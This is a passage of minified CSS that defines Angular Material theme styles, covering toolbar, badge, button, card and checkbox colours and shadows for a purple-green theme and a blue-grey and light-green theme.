.mat-toolbar{background:#212121;color:#fff}.purple-green-theme .mat-toolbar.mat-primary{background:#7b1fa2;color:#fff}.purple-green-theme .mat-toolbar.mat-accent{background:#69f0ae;color:#000000de}.purple-green-theme .mat-toolbar.mat-warn{background:#f44336;color:#fff}.purple-green-theme .mat-toolbar .mat-form-field-underline,.purple-green-theme .mat-toolbar .mat-form-field-ripple,.purple-green-theme .mat-toolbar .mat-focused .mat-form-field-ripple{background-color:currentColor}.purple-green-theme .mat-toolbar .mat-form-field-label,.purple-green-theme .mat-toolbar .mat-focused .mat-form-field-label,.purple-green-theme .mat-toolbar .mat-select-value,.purple-green-theme .mat-toolbar .mat-select-arrow,.purple-green-theme .mat-toolbar .mat-form-field.mat-focused .mat-select-arrow{color:inherit}.purple-green-theme .mat-toolbar .mat-input-element{caret-color:currentColor}.purple-green-theme .mat-tooltip{background:rgba(97,97,97,.9)}.purple-green-theme .mat-tree{background:#424242}.purple-green-theme .mat-tree-node,.purple-green-theme .mat-nested-tree-node{color:#fff}.purple-green-theme .mat-snack-bar-container{color:#000000de;background:#fafafa;box-shadow:0 3px 5px -1px #0003,0 6px 10px #00000024,0 1px 18px #0000001f}.purple-green-theme .mat-simple-snackbar-action{color:inherit}.purple-green-theme a:link,.purple-green-theme a:visited{color:#b9f6ca;text-decoration:none}.purple-green-theme a:hover,.purple-green-theme a:focus,.purple-green-theme a:active{text-decoration:underline}.purple-green-theme a{outline:none}.purple-green-theme .confirmation{color:#69f0ae}.purple-green-theme .ribbon:before{border:5px solid #69f0ae}.purple-green-theme .ribbon span{background-color:#69f0ae}.purple-green-theme .error{color:#f44336}.purple-green-theme .ribbon-sold:before{border:5px solid #f44336}.purple-green-theme .ribbon-sold span{background-color:#f44336}.purple-green-theme .primary-notification{background-color:#6a1b9a}.purple-green-theme .accent-notification{background-color:#00e676}.purple-green-theme .warn-notification{background-color:#d32f2f}.purple-green-theme .img-thumbnail{background-color:#7b1fa20d;border:1px solid #7b1fa2;border-radius:3px;padding:3px}.purple-green-theme .empty-star{stop-color:#7b1fa2}.purple-green-theme .filled-star{stop-color:#69f0ae}.purple-green-theme .star-border{stroke:#69f0ae}.purple-green-theme .mat-snack-bar-container{background-color:#424242!important;color:#fff!important}.purple-green-theme .mat-snack-bar-container.errorBar{color:#f44336!important}.purple-green-theme .mat-snack-bar-container.confirmBar{color:#69f0ae!important}.purple-green-theme .google-button{background-color:#00e676!important}.purple-green-theme .deluxe-membership{background:linear-gradient(90deg,#7b1fa2 0%,#424242 100%)}.purple-green-theme .overlay{background:rgba(106,27,154,.7)}.bluegrey-lightgreen-theme{--theme-primary: #546e7a;--theme-primary-lighter: #607e8c;--theme-primary-light: #698998;--theme-primary-darker: #485e68;--theme-primary-dark: #3f535c;--theme-primary-fade-10: rgba(84, 110, 122, .9);--theme-primary-fade-20: rgba(84, 110, 122, .8);--theme-primary-fade-30: rgba(84, 110, 122, .7);--theme-primary-fade-40: rgba(84, 110, 122, .6);--theme-primary-fade-50: rgba(84, 110, 122, .5);--theme-accent: #689f38;--theme-accent-lighter: #77b640;--theme-accent-light: #81bf4b;--theme-accent-darker: #598830;--theme-accent-dark: #4f792b;--theme-accent-fade-10: rgba(104, 159, 56, .9);--theme-accent-fade-20: rgba(104, 159, 56, .8);--theme-accent-fade-30: rgba(104, 159, 56, .7);--theme-accent-fade-40: rgba(104, 159, 56, .6);--theme-accent-fade-50: rgba(104, 159, 56, .5);--theme-warn: #ff5722;--theme-warn-lighter: #ff6e41;--theme-warn-light: #ff7e55;--theme-warn-darker: #ff4003;--theme-warn-dark: #ee3900;--theme-warn-fade-10: rgba(255, 87, 34, .9);--theme-warn-fade-20: rgba(255, 87, 34, .8);--theme-warn-fade-30: rgba(255, 87, 34, .7);--theme-warn-fade-40: rgba(255, 87, 34, .6);--theme-warn-fade-50: rgba(255, 87, 34, .5);--theme-text: white;--theme-text-lighter: white;--theme-text-light: white;--theme-text-darker: #e6e6e6;--theme-text-dark: #bfbfbf;--theme-text-fade-10: rgba(255, 255, 255, .9);--theme-text-fade-20: rgba(255, 255, 255, .8);--theme-text-fade-30: rgba(255, 255, 255, .7);--theme-text-fade-40: rgba(255, 255, 255, .6);--theme-text-fade-50: rgba(255, 255, 255, .5);--theme-text-invert-15: #d9d9d9;--theme-text-invert-30: #b3b3b3;--theme-background: #424242;--theme-background-lighter: #515151;--theme-background-light: #5c5c5c;--theme-background-darker: #333333;--theme-background-dark: #292929;--theme-background-darkest: #1e1e1e}.bluegrey-lightgreen-theme .mat-ripple-element{background-color:#ffffff1a}.bluegrey-lightgreen-theme .mat-option{color:#fff}.bluegrey-lightgreen-theme .mat-option:hover:not(.mat-option-disabled),.bluegrey-lightgreen-theme .mat-option:focus:not(.mat-option-disabled){background:rgba(255,255,255,.04)}.bluegrey-lightgreen-theme .mat-option.mat-selected:not(.mat-option-multiple):not(.mat-option-disabled){background:rgba(255,255,255,.04)}.bluegrey-lightgreen-theme .mat-option.mat-active{background:rgba(255,255,255,.04);color:#fff}.bluegrey-lightgreen-theme .mat-option.mat-option-disabled{color:#ffffff80}.bluegrey-lightgreen-theme .mat-primary .mat-option.mat-selected:not(.mat-option-disabled){color:#546e7a}.bluegrey-lightgreen-theme .mat-accent .mat-option.mat-selected:not(.mat-option-disabled){color:#689f38}.bluegrey-lightgreen-theme .mat-warn .mat-option.mat-selected:not(.mat-option-disabled){color:#ff5722}.bluegrey-lightgreen-theme .mat-optgroup-label{color:#ffffffb3}.bluegrey-lightgreen-theme .mat-optgroup-disabled .mat-optgroup-label{color:#ffffff80}.bluegrey-lightgreen-theme .mat-pseudo-checkbox{color:#ffffffb3}.bluegrey-lightgreen-theme .mat-pseudo-checkbox:after{color:#303030}.bluegrey-lightgreen-theme .mat-pseudo-checkbox-disabled{color:#686868}.bluegrey-lightgreen-theme .mat-primary .mat-pseudo-checkbox-checked,.bluegrey-lightgreen-theme .mat-primary .mat-pseudo-checkbox-indeterminate{background:#546e7a}.bluegrey-lightgreen-theme .mat-pseudo-checkbox-checked,.bluegrey-lightgreen-theme .mat-pseudo-checkbox-indeterminate,.bluegrey-lightgreen-theme .mat-accent .mat-pseudo-checkbox-checked,.bluegrey-lightgreen-theme .mat-accent .mat-pseudo-checkbox-indeterminate{background:#689f38}.bluegrey-lightgreen-theme .mat-warn .mat-pseudo-checkbox-checked,.bluegrey-lightgreen-theme .mat-warn .mat-pseudo-checkbox-indeterminate{background:#ff5722}.bluegrey-lightgreen-theme .mat-pseudo-checkbox-checked.mat-pseudo-checkbox-disabled,.bluegrey-lightgreen-theme .mat-pseudo-checkbox-indeterminate.mat-pseudo-checkbox-disabled{background:#686868}.bluegrey-lightgreen-theme .mat-app-background,.bluegrey-lightgreen-theme.mat-app-background{background-color:#303030;color:#fff}.bluegrey-lightgreen-theme .mat-elevation-z0{box-shadow:0 0 #0003,0 0 #00000024,0 0 #0000001f}.bluegrey-lightgreen-theme .mat-elevation-z1{box-shadow:0 2px 1px -1px #0003,0 1px 1px #00000024,0 1px 3px #0000001f}.bluegrey-lightgreen-theme .mat-elevation-z2{box-shadow:0 3px 1px -2px #0003,0 2px 2px #00000024,0 1px 5px #0000001f}.bluegrey-lightgreen-theme .mat-elevation-z3{box-shadow:0 3px 3px -2px #0003,0 3px 4px #00000024,0 1px 8px #0000001f}.bluegrey-lightgreen-theme .mat-elevation-z4{box-shadow:0 2px 4px -1px #0003,0 4px 5px #00000024,0 1px 10px #0000001f}.bluegrey-lightgreen-theme .mat-elevation-z5{box-shadow:0 3px 5px -1px #0003,0 5px 8px #00000024,0 1px 14px #0000001f}.bluegrey-lightgreen-theme .mat-elevation-z6{box-shadow:0 3px 5px -1px #0003,0 6px 10px #00000024,0 1px 18px #0000001f}.bluegrey-lightgreen-theme .mat-elevation-z7{box-shadow:0 4px 5px -2px #0003,0 7px 10px 1px #00000024,0 2px 16px 1px #0000001f}.bluegrey-lightgreen-theme .mat-elevation-z8{box-shadow:0 5px 5px -3px #0003,0 8px 10px 1px #00000024,0 3px 14px 2px #0000001f}.bluegrey-lightgreen-theme .mat-elevation-z9{box-shadow:0 5px 6px -3px #0003,0 9px 12px 1px #00000024,0 3px 16px 2px #0000001f}.bluegrey-lightgreen-theme .mat-elevation-z10{box-shadow:0 6px 6px -3px #0003,0 10px 14px 1px #00000024,0 4px 18px 3px #0000001f}.bluegrey-lightgreen-theme .mat-elevation-z11{box-shadow:0 6px 7px -4px #0003,0 11px 15px 1px #00000024,0 4px 20px 3px #0000001f}.bluegrey-lightgreen-theme .mat-elevation-z12{box-shadow:0 7px 8px -4px #0003,0 12px 17px 2px #00000024,0 5px 22px 4px #0000001f}.bluegrey-lightgreen-theme .mat-elevation-z13{box-shadow:0 7px 8px -4px #0003,0 13px 19px 2px #00000024,0 5px 24px 4px #0000001f}.bluegrey-lightgreen-theme .mat-elevation-z14{box-shadow:0 7px 9px -4px #0003,0 14px 21px 2px #00000024,0 5px 26px 4px #0000001f}.bluegrey-lightgreen-theme .mat-elevation-z15{box-shadow:0 8px 9px -5px #0003,0 15px 22px 2px #00000024,0 6px 28px 5px #0000001f}.bluegrey-lightgreen-theme .mat-elevation-z16{box-shadow:0 8px 10px -5px #0003,0 16px 24px 2px #00000024,0 6px 30px 5px #0000001f}.bluegrey-lightgreen-theme .mat-elevation-z17{box-shadow:0 8px 11px -5px #0003,0 17px 26px 2px #00000024,0 6px 32px 5px #0000001f}.bluegrey-lightgreen-theme .mat-elevation-z18{box-shadow:0 9px 11px -5px #0003,0 18px 28px 2px #00000024,0 7px 34px 6px #0000001f}.bluegrey-lightgreen-theme .mat-elevation-z19{box-shadow:0 9px 12px -6px #0003,0 19px 29px 2px #00000024,0 7px 36px 6px #0000001f}.bluegrey-lightgreen-theme .mat-elevation-z20{box-shadow:0 10px 13px -6px #0003,0 20px 31px 3px #00000024,0 8px 38px 7px #0000001f}.bluegrey-lightgreen-theme .mat-elevation-z21{box-shadow:0 10px 13px -6px #0003,0 21px 33px 3px #00000024,0 8px 40px 7px #0000001f}.bluegrey-lightgreen-theme .mat-elevation-z22{box-shadow:0 10px 14px -6px #0003,0 22px 35px 3px #00000024,0 8px 42px 7px #0000001f}.bluegrey-lightgreen-theme .mat-elevation-z23{box-shadow:0 11px 14px -7px #0003,0 23px 36px 3px #00000024,0 9px 44px 8px #0000001f}.bluegrey-lightgreen-theme .mat-elevation-z24{box-shadow:0 11px 15px -7px #0003,0 24px 38px 3px #00000024,0 9px 46px 8px #0000001f}.bluegrey-lightgreen-theme .mat-autocomplete-panel{background:#424242;color:#fff}.bluegrey-lightgreen-theme .mat-autocomplete-panel:not([class*=mat-elevation-z]){box-shadow:0 2px 4px -1px #0003,0 4px 5px #00000024,0 1px 10px #0000001f}.bluegrey-lightgreen-theme .mat-autocomplete-panel .mat-option.mat-selected:not(.mat-active):not(:hover){background:#424242}.bluegrey-lightgreen-theme .mat-autocomplete-panel .mat-option.mat-selected:not(.mat-active):not(:hover):not(.mat-option-disabled){color:#fff}.bluegrey-lightgreen-theme .mat-badge{position:relative}.bluegrey-lightgreen-theme .mat-badge.mat-badge{overflow:visible}.bluegrey-lightgreen-theme .mat-badge-hidden .mat-badge-content{display:none}.bluegrey-lightgreen-theme .mat-badge-content{position:absolute;text-align:center;display:inline-block;border-radius:50%;transition:transform .2s ease-in-out;transform:scale(.6);overflow:hidden;white-space:nowrap;text-overflow:ellipsis;pointer-events:none}.bluegrey-lightgreen-theme .ng-animate-disabled .mat-badge-content,.bluegrey-lightgreen-theme .mat-badge-content._mat-animation-noopable{transition:none}.bluegrey-lightgreen-theme .mat-badge-content.mat-badge-active{transform:none}.bluegrey-lightgreen-theme .mat-badge-small .mat-badge-content{width:16px;height:16px;line-height:16px}.bluegrey-lightgreen-theme .mat-badge-small.mat-badge-above .mat-badge-content{top:-8px}.bluegrey-lightgreen-theme .mat-badge-small.mat-badge-below .mat-badge-content{bottom:-8px}.bluegrey-lightgreen-theme .mat-badge-small.mat-badge-before .mat-badge-content{left:-16px}[dir=rtl] .bluegrey-lightgreen-theme .mat-badge-small.mat-badge-before .mat-badge-content{left:auto;right:-16px}.bluegrey-lightgreen-theme .mat-badge-small.mat-badge-after .mat-badge-content{right:-16px}[dir=rtl] .bluegrey-lightgreen-theme .mat-badge-small.mat-badge-after .mat-badge-content{right:auto;left:-16px}.bluegrey-lightgreen-theme .mat-badge-small.mat-badge-overlap.mat-badge-before .mat-badge-content{left:-8px}[dir=rtl] .bluegrey-lightgreen-theme .mat-badge-small.mat-badge-overlap.mat-badge-before .mat-badge-content{left:auto;right:-8px}.bluegrey-lightgreen-theme .mat-badge-small.mat-badge-overlap.mat-badge-after .mat-badge-content{right:-8px}[dir=rtl] .bluegrey-lightgreen-theme .mat-badge-small.mat-badge-overlap.mat-badge-after .mat-badge-content{right:auto;left:-8px}.bluegrey-lightgreen-theme .mat-badge-medium .mat-badge-content{width:22px;height:22px;line-height:22px}.bluegrey-lightgreen-theme .mat-badge-medium.mat-badge-above .mat-badge-content{top:-11px}.bluegrey-lightgreen-theme .mat-badge-medium.mat-badge-below .mat-badge-content{bottom:-11px}.bluegrey-lightgreen-theme .mat-badge-medium.mat-badge-before .mat-badge-content{left:-22px}[dir=rtl] .bluegrey-lightgreen-theme .mat-badge-medium.mat-badge-before .mat-badge-content{left:auto;right:-22px}.bluegrey-lightgreen-theme .mat-badge-medium.mat-badge-after .mat-badge-content{right:-22px}[dir=rtl] .bluegrey-lightgreen-theme .mat-badge-medium.mat-badge-after .mat-badge-content{right:auto;left:-22px}.bluegrey-lightgreen-theme .mat-badge-medium.mat-badge-overlap.mat-badge-before .mat-badge-content{left:-11px}[dir=rtl] .bluegrey-lightgreen-theme .mat-badge-medium.mat-badge-overlap.mat-badge-before .mat-badge-content{left:auto;right:-11px}.bluegrey-lightgreen-theme .mat-badge-medium.mat-badge-overlap.mat-badge-after .mat-badge-content{right:-11px}[dir=rtl] .bluegrey-lightgreen-theme .mat-badge-medium.mat-badge-overlap.mat-badge-after .mat-badge-content{right:auto;left:-11px}.bluegrey-lightgreen-theme .mat-badge-large .mat-badge-content{width:28px;height:28px;line-height:28px}.bluegrey-lightgreen-theme .mat-badge-large.mat-badge-above .mat-badge-content{top:-14px}.bluegrey-lightgreen-theme .mat-badge-large.mat-badge-below .mat-badge-content{bottom:-14px}.bluegrey-lightgreen-theme .mat-badge-large.mat-badge-before .mat-badge-content{left:-28px}[dir=rtl] .bluegrey-lightgreen-theme .mat-badge-large.mat-badge-before .mat-badge-content{left:auto;right:-28px}.bluegrey-lightgreen-theme .mat-badge-large.mat-badge-after .mat-badge-content{right:-28px}[dir=rtl] .bluegrey-lightgreen-theme .mat-badge-large.mat-badge-after .mat-badge-content{right:auto;left:-28px}.bluegrey-lightgreen-theme .mat-badge-large.mat-badge-overlap.mat-badge-before .mat-badge-content{left:-14px}[dir=rtl] .bluegrey-lightgreen-theme .mat-badge-large.mat-badge-overlap.mat-badge-before .mat-badge-content{left:auto;right:-14px}.bluegrey-lightgreen-theme .mat-badge-large.mat-badge-overlap.mat-badge-after .mat-badge-content{right:-14px}[dir=rtl] .bluegrey-lightgreen-theme .mat-badge-large.mat-badge-overlap.mat-badge-after .mat-badge-content{right:auto;left:-14px}.bluegrey-lightgreen-theme .mat-badge-content{color:#fff;background:#546e7a}.cdk-high-contrast-active .bluegrey-lightgreen-theme .mat-badge-content{outline:solid 1px;border-radius:0}.bluegrey-lightgreen-theme .mat-badge-accent .mat-badge-content{background:#689f38;color:#fff}.bluegrey-lightgreen-theme .mat-badge-warn .mat-badge-content{color:#fff;background:#ff5722}.bluegrey-lightgreen-theme .mat-badge-disabled .mat-badge-content{background:#6e6e6e;color:#ffffff80}.bluegrey-lightgreen-theme .mat-bottom-sheet-container{box-shadow:0 8px 10px -5px #0003,0 16px 24px 2px #00000024,0 6px 30px 5px #0000001f;background:#424242;color:#fff}.bluegrey-lightgreen-theme .mat-button,.bluegrey-lightgreen-theme .mat-icon-button,.bluegrey-lightgreen-theme .mat-stroked-button{color:inherit;background:transparent}.bluegrey-lightgreen-theme .mat-button.mat-primary,.bluegrey-lightgreen-theme .mat-icon-button.mat-primary,.bluegrey-lightgreen-theme .mat-stroked-button.mat-primary{color:#546e7a}.bluegrey-lightgreen-theme .mat-button.mat-accent,.bluegrey-lightgreen-theme .mat-icon-button.mat-accent,.bluegrey-lightgreen-theme .mat-stroked-button.mat-accent{color:#689f38}.bluegrey-lightgreen-theme .mat-button.mat-warn,.bluegrey-lightgreen-theme .mat-icon-button.mat-warn,.bluegrey-lightgreen-theme .mat-stroked-button.mat-warn{color:#ff5722}.bluegrey-lightgreen-theme .mat-button.mat-primary.mat-button-disabled,.bluegrey-lightgreen-theme .mat-button.mat-accent.mat-button-disabled,.bluegrey-lightgreen-theme .mat-button.mat-warn.mat-button-disabled,.bluegrey-lightgreen-theme .mat-button.mat-button-disabled.mat-button-disabled,.bluegrey-lightgreen-theme .mat-icon-button.mat-primary.mat-button-disabled,.bluegrey-lightgreen-theme .mat-icon-button.mat-accent.mat-button-disabled,.bluegrey-lightgreen-theme .mat-icon-button.mat-warn.mat-button-disabled,.bluegrey-lightgreen-theme .mat-icon-button.mat-button-disabled.mat-button-disabled,.bluegrey-lightgreen-theme .mat-stroked-button.mat-primary.mat-button-disabled,.bluegrey-lightgreen-theme .mat-stroked-button.mat-accent.mat-button-disabled,.bluegrey-lightgreen-theme .mat-stroked-button.mat-warn.mat-button-disabled,.bluegrey-lightgreen-theme .mat-stroked-button.mat-button-disabled.mat-button-disabled{color:#ffffff4d}.bluegrey-lightgreen-theme .mat-button.mat-primary .mat-button-focus-overlay,.bluegrey-lightgreen-theme .mat-icon-button.mat-primary .mat-button-focus-overlay,.bluegrey-lightgreen-theme .mat-stroked-button.mat-primary .mat-button-focus-overlay{background-color:#546e7a}.bluegrey-lightgreen-theme .mat-button.mat-accent .mat-button-focus-overlay,.bluegrey-lightgreen-theme .mat-icon-button.mat-accent .mat-button-focus-overlay,.bluegrey-lightgreen-theme .mat-stroked-button.mat-accent .mat-button-focus-overlay{background-color:#689f38}.bluegrey-lightgreen-theme .mat-button.mat-warn .mat-button-focus-overlay,.bluegrey-lightgreen-theme .mat-icon-button.mat-warn .mat-button-focus-overlay,.bluegrey-lightgreen-theme .mat-stroked-button.mat-warn .mat-button-focus-overlay{background-color:#ff5722}.bluegrey-lightgreen-theme .mat-button.mat-button-disabled .mat-button-focus-overlay,.bluegrey-lightgreen-theme .mat-icon-button.mat-button-disabled .mat-button-focus-overlay,.bluegrey-lightgreen-theme .mat-stroked-button.mat-button-disabled .mat-button-focus-overlay{background-color:transparent}.bluegrey-lightgreen-theme .mat-button .mat-ripple-element,.bluegrey-lightgreen-theme .mat-icon-button .mat-ripple-element,.bluegrey-lightgreen-theme .mat-stroked-button .mat-ripple-element{opacity:.1;background-color:currentColor}.bluegrey-lightgreen-theme .mat-button-focus-overlay{background:white}.bluegrey-lightgreen-theme .mat-stroked-button:not(.mat-button-disabled){border-color:#ffffff1f}.bluegrey-lightgreen-theme .mat-flat-button,.bluegrey-lightgreen-theme .mat-raised-button,.bluegrey-lightgreen-theme .mat-fab,.bluegrey-lightgreen-theme .mat-mini-fab{color:#fff;background-color:#424242}.bluegrey-lightgreen-theme .mat-flat-button.mat-primary,.bluegrey-lightgreen-theme .mat-raised-button.mat-primary,.bluegrey-lightgreen-theme .mat-fab.mat-primary,.bluegrey-lightgreen-theme .mat-mini-fab.mat-primary,.bluegrey-lightgreen-theme .mat-flat-button.mat-accent,.bluegrey-lightgreen-theme .mat-raised-button.mat-accent,.bluegrey-lightgreen-theme .mat-fab.mat-accent,.bluegrey-lightgreen-theme .mat-mini-fab.mat-accent,.bluegrey-lightgreen-theme .mat-flat-button.mat-warn,.bluegrey-lightgreen-theme .mat-raised-button.mat-warn,.bluegrey-lightgreen-theme .mat-fab.mat-warn,.bluegrey-lightgreen-theme .mat-mini-fab.mat-warn{color:#fff}.bluegrey-lightgreen-theme .mat-flat-button.mat-primary.mat-button-disabled,.bluegrey-lightgreen-theme .mat-flat-button.mat-accent.mat-button-disabled,.bluegrey-lightgreen-theme .mat-flat-button.mat-warn.mat-button-disabled,.bluegrey-lightgreen-theme .mat-flat-button.mat-button-disabled.mat-button-disabled,.bluegrey-lightgreen-theme .mat-raised-button.mat-primary.mat-button-disabled,.bluegrey-lightgreen-theme .mat-raised-button.mat-accent.mat-button-disabled,.bluegrey-lightgreen-theme .mat-raised-button.mat-warn.mat-button-disabled,.bluegrey-lightgreen-theme .mat-raised-button.mat-button-disabled.mat-button-disabled,.bluegrey-lightgreen-theme .mat-fab.mat-primary.mat-button-disabled,.bluegrey-lightgreen-theme .mat-fab.mat-accent.mat-button-disabled,.bluegrey-lightgreen-theme .mat-fab.mat-warn.mat-button-disabled,.bluegrey-lightgreen-theme .mat-fab.mat-button-disabled.mat-button-disabled,.bluegrey-lightgreen-theme .mat-mini-fab.mat-primary.mat-button-disabled,.bluegrey-lightgreen-theme .mat-mini-fab.mat-accent.mat-button-disabled,.bluegrey-lightgreen-theme .mat-mini-fab.mat-warn.mat-button-disabled,.bluegrey-lightgreen-theme .mat-mini-fab.mat-button-disabled.mat-button-disabled{color:#ffffff4d}.bluegrey-lightgreen-theme .mat-flat-button.mat-primary,.bluegrey-lightgreen-theme .mat-raised-button.mat-primary,.bluegrey-lightgreen-theme .mat-fab.mat-primary,.bluegrey-lightgreen-theme .mat-mini-fab.mat-primary{background-color:#546e7a}.bluegrey-lightgreen-theme .mat-flat-button.mat-accent,.bluegrey-lightgreen-theme .mat-raised-button.mat-accent,.bluegrey-lightgreen-theme .mat-fab.mat-accent,.bluegrey-lightgreen-theme .mat-mini-fab.mat-accent{background-color:#689f38}.bluegrey-lightgreen-theme .mat-flat-button.mat-warn,.bluegrey-lightgreen-theme .mat-raised-button.mat-warn,.bluegrey-lightgreen-theme .mat-fab.mat-warn,.bluegrey-lightgreen-theme .mat-mini-fab.mat-warn{background-color:#ff5722}.bluegrey-lightgreen-theme .mat-flat-button.mat-primary.mat-button-disabled,.bluegrey-lightgreen-theme .mat-flat-button.mat-accent.mat-button-disabled,.bluegrey-lightgreen-theme .mat-flat-button.mat-warn.mat-button-disabled,.bluegrey-lightgreen-theme .mat-flat-button.mat-button-disabled.mat-button-disabled,.bluegrey-lightgreen-theme .mat-raised-button.mat-primary.mat-button-disabled,.bluegrey-lightgreen-theme .mat-raised-button.mat-accent.mat-button-disabled,.bluegrey-lightgreen-theme .mat-raised-button.mat-warn.mat-button-disabled,.bluegrey-lightgreen-theme .mat-raised-button.mat-button-disabled.mat-button-disabled,.bluegrey-lightgreen-theme .mat-fab.mat-primary.mat-button-disabled,.bluegrey-lightgreen-theme .mat-fab.mat-accent.mat-button-disabled,.bluegrey-lightgreen-theme .mat-fab.mat-warn.mat-button-disabled,.bluegrey-lightgreen-theme .mat-fab.mat-button-disabled.mat-button-disabled,.bluegrey-lightgreen-theme .mat-mini-fab.mat-primary.mat-button-disabled,.bluegrey-lightgreen-theme .mat-mini-fab.mat-accent.mat-button-disabled,.bluegrey-lightgreen-theme .mat-mini-fab.mat-warn.mat-button-disabled,.bluegrey-lightgreen-theme .mat-mini-fab.mat-button-disabled.mat-button-disabled{background-color:#ffffff1f}.bluegrey-lightgreen-theme .mat-flat-button.mat-primary .mat-ripple-element,.bluegrey-lightgreen-theme .mat-raised-button.mat-primary .mat-ripple-element,.bluegrey-lightgreen-theme .mat-fab.mat-primary .mat-ripple-element,.bluegrey-lightgreen-theme .mat-mini-fab.mat-primary .mat-ripple-element,.bluegrey-lightgreen-theme .mat-flat-button.mat-accent .mat-ripple-element,.bluegrey-lightgreen-theme .mat-raised-button.mat-accent .mat-ripple-element,.bluegrey-lightgreen-theme .mat-fab.mat-accent .mat-ripple-element,.bluegrey-lightgreen-theme .mat-mini-fab.mat-accent .mat-ripple-element,.bluegrey-lightgreen-theme .mat-flat-button.mat-warn .mat-ripple-element,.bluegrey-lightgreen-theme .mat-raised-button.mat-warn .mat-ripple-element,.bluegrey-lightgreen-theme .mat-fab.mat-warn .mat-ripple-element,.bluegrey-lightgreen-theme .mat-mini-fab.mat-warn .mat-ripple-element{background-color:#ffffff1a}.bluegrey-lightgreen-theme .mat-stroked-button:not([class*=mat-elevation-z]),.bluegrey-lightgreen-theme .mat-flat-button:not([class*=mat-elevation-z]){box-shadow:0 0 #0003,0 0 #00000024,0 0 #0000001f}.bluegrey-lightgreen-theme .mat-raised-button:not([class*=mat-elevation-z]){box-shadow:0 3px 1px -2px #0003,0 2px 2px #00000024,0 1px 5px #0000001f}.bluegrey-lightgreen-theme .mat-raised-button:not(.mat-button-disabled):active:not([class*=mat-elevation-z]){box-shadow:0 5px 5px -3px #0003,0 8px 10px 1px #00000024,0 3px 14px 2px #0000001f}.bluegrey-lightgreen-theme .mat-raised-button.mat-button-disabled:not([class*=mat-elevation-z]){box-shadow:0 0 #0003,0 0 #00000024,0 0 #0000001f}.bluegrey-lightgreen-theme .mat-fab:not([class*=mat-elevation-z]),.bluegrey-lightgreen-theme .mat-mini-fab:not([class*=mat-elevation-z]){box-shadow:0 3px 5px -1px #0003,0 6px 10px #00000024,0 1px 18px #0000001f}.bluegrey-lightgreen-theme .mat-fab:not(.mat-button-disabled):active:not([class*=mat-elevation-z]),.bluegrey-lightgreen-theme .mat-mini-fab:not(.mat-button-disabled):active:not([class*=mat-elevation-z]){box-shadow:0 7px 8px -4px #0003,0 12px 17px 2px #00000024,0 5px 22px 4px #0000001f}.bluegrey-lightgreen-theme .mat-fab.mat-button-disabled:not([class*=mat-elevation-z]),.bluegrey-lightgreen-theme .mat-mini-fab.mat-button-disabled:not([class*=mat-elevation-z]){box-shadow:0 0 #0003,0 0 #00000024,0 0 #0000001f}.bluegrey-lightgreen-theme .mat-button-toggle-standalone:not([class*=mat-elevation-z]),.bluegrey-lightgreen-theme .mat-button-toggle-group:not([class*=mat-elevation-z]){box-shadow:0 3px 1px -2px #0003,0 2px 2px #00000024,0 1px 5px #0000001f}.bluegrey-lightgreen-theme .mat-button-toggle-standalone.mat-button-toggle-appearance-standard:not([class*=mat-elevation-z]),.bluegrey-lightgreen-theme .mat-button-toggle-group-appearance-standard:not([class*=mat-elevation-z]){box-shadow:none}.bluegrey-lightgreen-theme .mat-button-toggle{color:#ffffff80}.bluegrey-lightgreen-theme .mat-button-toggle .mat-button-toggle-focus-overlay{background-color:#ffffff1f}.bluegrey-lightgreen-theme .mat-button-toggle-appearance-standard{color:#fff;background:#424242}.bluegrey-lightgreen-theme .mat-button-toggle-appearance-standard .mat-button-toggle-focus-overlay{background-color:#fff}.bluegrey-lightgreen-theme .mat-button-toggle-group-appearance-standard .mat-button-toggle+.mat-button-toggle{border-left:solid 1px #595959}.bluegrey-lightgreen-theme [dir=rtl] .mat-button-toggle-group-appearance-standard .mat-button-toggle+.mat-button-toggle{border-left:none;border-right:solid 1px #595959}.bluegrey-lightgreen-theme .mat-button-toggle-group-appearance-standard.mat-button-toggle-vertical .mat-button-toggle+.mat-button-toggle{border-left:none;border-right:none;border-top:solid 1px #595959}.bluegrey-lightgreen-theme .mat-button-toggle-checked{background-color:#212121;color:#ffffffb3}.bluegrey-lightgreen-theme .mat-button-toggle-checked.mat-button-toggle-appearance-standard{color:#fff}.bluegrey-lightgreen-theme .mat-button-toggle-disabled{color:#ffffff4d;background-color:#000}.bluegrey-lightgreen-theme .mat-button-toggle-disabled.mat-button-toggle-appearance-standard{background:#424242}.bluegrey-lightgreen-theme .mat-button-toggle-disabled.mat-button-toggle-checked{background-color:#424242}.bluegrey-lightgreen-theme .mat-button-toggle-standalone.mat-button-toggle-appearance-standard,.bluegrey-lightgreen-theme .mat-button-toggle-group-appearance-standard{border:solid 1px #595959}.bluegrey-lightgreen-theme .mat-card{background:#424242;color:#fff}.bluegrey-lightgreen-theme .mat-card:not([class*=mat-elevation-z]){box-shadow:0 2px 1px -1px #0003,0 1px 1px #00000024,0 1px 3px #0000001f}.bluegrey-lightgreen-theme .mat-card.mat-card-flat:not([class*=mat-elevation-z]){box-shadow:0 0 #0003,0 0 #00000024,0 0 #0000001f}.bluegrey-lightgreen-theme .mat-card-subtitle{color:#ffffffb3}.bluegrey-lightgreen-theme .mat-checkbox-frame{border-color:#ffffffb3}.bluegrey-lightgreen-theme .mat-checkbox-checkmark{fill:#303030}.bluegrey-lightgreen-theme .mat-checkbox-checkmark-path{stroke:#303030!important}.bluegrey-lightgreen-theme .mat-checkbox-mixedmark{background-color:#303030}.bluegrey-lightgreen-theme .mat-checkbox-indeterminate.mat-primary .mat-checkbox-background,.bluegrey-lightgreen-theme .mat-checkbox-checked.mat-primary .mat-checkbox-background{background-color:#546e7a}.bluegrey-lightgreen-theme .mat-checkbox-indeterminate.mat-accent .mat-checkbox-background,.bluegrey-lightgreen-theme .mat-checkbox-checked.mat-accent .mat-checkbox-background{background-color:#689f38}.bluegrey-lightgreen-theme .mat-checkbox-indeterminate.mat-warn .mat-checkbox-background,.bluegrey-lightgreen-theme .mat-checkbox-checked.mat-warn .mat-checkbox-background{background-color:#ff5722}.bluegrey-lightgreen-theme .mat-checkbox-disabled.mat-checkbox-checked .mat-checkbox-background,.bluegrey-lightgreen-theme .mat-checkbox-disabled.mat-checkbox-indeterminate .mat-checkbox-background{background-color:#686868}.bluegrey-lightgreen-theme .mat-checkbox-disabled:not(.mat-checkbox-checked) .mat-checkbox-frame{border-color:#686868}.bluegrey-lightgreen-theme .mat-checkbox-disabled .mat-checkbox-label{color:#ffffff80}.bluegrey-lightgreen-theme .mat-checkbox .mat-ripple-element{background-color:#fff}.bluegrey-lightgreen-theme 